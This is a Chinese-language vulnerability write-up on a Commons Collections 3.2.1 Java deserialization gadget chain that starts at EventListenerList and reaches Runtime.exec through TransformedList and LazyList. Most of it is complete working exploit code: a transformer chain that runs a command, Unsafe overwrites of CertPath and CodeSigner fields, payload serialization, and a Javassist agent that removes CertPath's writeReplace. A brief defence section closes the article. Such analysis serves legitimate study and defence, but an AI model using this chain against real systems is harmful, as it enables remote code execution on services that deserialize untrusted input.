java反序列化漏洞commons-collections3.2.1TransformedList触发transform
字数 1479 2025-08-22 22:47:30
Apache Commons Collections 反序列化漏洞分析 (TransformedList 触发链)
漏洞概述
本文详细分析 Apache Commons Collections 3.2.1 版本中通过 TransformedList 触发的反序列化漏洞利用链。该漏洞允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。
环境要求
- JDK 版本: 1.8.0_162
- Commons Collections 版本: 3.2.1
关键类分析
1. 核心类说明
Commons Collections 相关类:
TransformedList: 装饰器模式实现的 List,在元素被添加时会自动调用 transform 方法LazyList: 懒加载 List,当访问不存在的元素时会通过 Factory 创建新元素ChainedTransformer: 将多个 Transformer 串联执行ConstantFactory: 总是返回固定对象的 FactoryInvokerTransformer: 通过反射调用指定方法的 Transformer
Java 原生类:
EventListenerList: Swing 事件监听器列表UndoManager: Swing 撤销管理器CodeSigner: 代码签名类X509CertPath: X509 证书路径类Unsafe: JDK 内部类,用于直接内存操作
漏洞利用链分析
完整调用链
EventListenerList.toString()
→ UndoManager.toString()
→ Vector.toString()
→ CodeSigner.toString()
→ CertPath.getCertificates().get(0)
→ LazyList.get(0)
→ ConstantFactory.create()
→ ChainedTransformer.transform()
→ InvokerTransformer.transform()
→ Runtime.exec()
关键步骤解析
-
触发点选择:
- 选择
EventListenerList作为入口点,因为它在反序列化时会调用toString()方法 EventListenerList内部包含UndoManager,UndoManager包含Vector对象
- 选择
-
利用 Unsafe 绕过限制:
- 使用
Unsafe类直接操作内存,绕过构造函数限制 - 修改
CertPath的certs字段为恶意构造的LazyList - 修改
CodeSigner的signerCertPath字段为恶意的CertPath对象
- 使用
-
CertPath 处理:
CertPath默认有writeReplace方法,会阻止序列化- 使用 Java Agent 技术动态修改
CertPath类,移除writeReplace方法
-
Transformer 链构造:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); -
恶意 List 构造:
ArrayList<Object> list = new ArrayList<>(); list.add(null); List decorate1 = TransformedList.decorate(list, chainedTransformer); List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));
完整利用代码
package com.web;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import org.apache.commons.collections.map.ListOrderedMap;
import sun.misc.Unsafe;
import sun.security.provider.certpath.X509CertPath;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.CodeSigner;
import java.util.*;
public class ccExp {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
ArrayList<Object> list = new ArrayList<>();
list.add(null);
List decorate1 = TransformedList.decorate(list, chainedTransformer);
List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));
HashMap<Object, Object> map = new HashMap<>();
ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get((Object) null);
unsafe.putObject(decorated,
unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")),
decorate);
X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
unsafe.putObject(o,
unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")),
decorate);
Object o1 = unsafe.allocateInstance(CodeSigner.class);
unsafe.putObject(o1,
unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")),
o);
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(o1);
unsafe.putObject(list2,
unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),
new Object[]{InternalError.class, manager});
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(list2);
System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));
ByteArrayInputStream bin = new ByteArrayInputStream(bao.toByteArray());
new ObjectInputStream(bin).readObject();
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Field getField(Class<?> clazz, String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException var4) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
}
Java Agent 处理 CertPath
package com.n1ght;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.security.cert.CertPath;
public class RemoveReplaceTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals("java/security/cert/CertPath")) {
try {
System.out.println(true);
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("java.security.cert.CertPath");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.detach();
return ctClass.toBytecode();
} catch (Exception e) {
System.out.println(e);;
}
}
return classfileBuffer;
}
}
防御措施
-
升级 Commons Collections:
- 升级到 3.2.2 或更高版本,这些版本修复了反序列化漏洞
-
JVM 层面防护:
- 使用
SerialKiller等工具过滤恶意序列化数据 - 配置
ObjectInputFilter限制反序列化的类
- 使用
-
代码层面防护:
- 避免反序列化不可信数据
- 对必须反序列化的场景,实现自定义的
ObjectInputStream并重写resolveClass方法进行校验
总结
本文详细分析了 Commons Collections 3.2.1 中通过 TransformedList 触发的反序列化漏洞利用链,展示了如何构造恶意对象、使用 Unsafe 绕过限制、处理 CertPath 的序列化问题,并提供了完整的利用代码。理解这些技术细节有助于更好地防御此类漏洞。